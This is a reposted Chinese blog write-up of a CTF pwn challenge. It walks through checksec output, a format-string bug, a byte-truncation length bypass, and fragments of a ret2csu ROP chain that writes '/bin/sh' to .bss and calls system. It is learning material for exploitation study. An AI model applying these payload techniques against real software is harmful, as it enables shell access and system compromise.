百度杯 十一月 的一道pwn题复现

转载

weixin_30693183 于 2019-03-30 16:18:00 发布 89 收藏 1
原文链接：http://www.cnblogs.com/liyuechan/p/10627864.html

拿到题后，就直接开鲁。。

```
/ctf/pwn# checksec pwnme
[*] '/ctf/pwn/pwnme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

开了 NX和ERLRO。

NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。

RelRO：*设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT（Global Offset Table）攻击。*

```
int __fastcall show(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata,
__int64 a8, __int64 a9)
{
  printf(&formata, a2, a3, a4, a5, a6);         // //printf name
  return printf((const char *)&a9 + 4);
}                                               // // printf pwdname
```

很明显的一个格式化字符串的漏洞。

然后想到了泄露，但是实战能力不足，不会怎么用，所以就跟着大佬的writeup 慢慢复现。

```
if ( (_BYTE)read_new_pwdlength && (unsigned __int8)read_new_pwdlength <= 20u )// //这里会截断
    {
      memset((char *)&desta + 4, 0, 0x14uLL);
      sub_400A90(tmp_pwd_buf, read_new_pwdlength);
      memcpy((char *)&desta + 4, tmp_pwd_buf, read_new_pwdlength);
```

这个有个 截断 ， 在int 转化成BYTE的时候只会保留后面的一个字节。所以可以用0x101 绕过。

剩下的思路就是利用init_main，调用read 往.bss 段写/bin/sh\x00

再调用system。

但是rop的构建有很多不理解的，于是我就一个个 去调试，

```
payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)
payload += p64(init_gadget) + p64(0x8) * 7#pad 可以测出来。

payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
```

前面的

```
p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)
```

是赋值，然后满足条件就执行。

```
0 loc_400EB0:                           ; CODE XREF: init+54↓j
.text:0000000000400EB0                  mov     rdx, r13
.text:0000000000400EB3                  mov     rsi, r14
.text:0000000000400EB6                  mov     edi, r15d
.text:0000000000400EB9                  call    qword ptr [r12+rbx*8]  //执行这个
.text:0000000000400EBD                  add     rbx, 1
.text:0000000000400EC1                  cmp     rbx, rbp
.text:0000000000400EC4                  jnz     short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6:                              ; CODE XREF: init+36↑j
.text:0000000000400EC6                  add     rsp, 8
.text:0000000000400ECA                  pop     rbx
.text:0000000000400ECB                  pop     rbp
.text:0000000000400ECC                  pop     r12
.text:0000000000400ECE                  pop     r13
.text:0000000000400ED0                  pop     r14
.text:0000000000400ED2                  pop     r15
.text:0000000000400ED2 init             endp
```

后面的

```
p64(0x8) * 7对应了下面的几个，然后跳到 system去
```

```
.text:0000000000400EC6                  add     rsp, 8
.text:0000000000400ECA                  pop     rbx
.text:0000000000400ECB                  pop     rbp
.text:0000000000400ECC                  pop     r12
.text:0000000000400ECE                  pop     r13
.text:0000000000400ED0                  pop     r14
.text:0000000000400ED2                  pop     r15
```

至于前面的A*0x28是从IDA调试出来的，刚刚好覆盖到ebp，然后下一个就是返回地址了

这次的学习，让我知道自己的调试的能力很差 ，还有构建rop的想法不够。动手能力欠缺。

转载于:https://www.cnblogs.com/liyuechan/p/10627864.html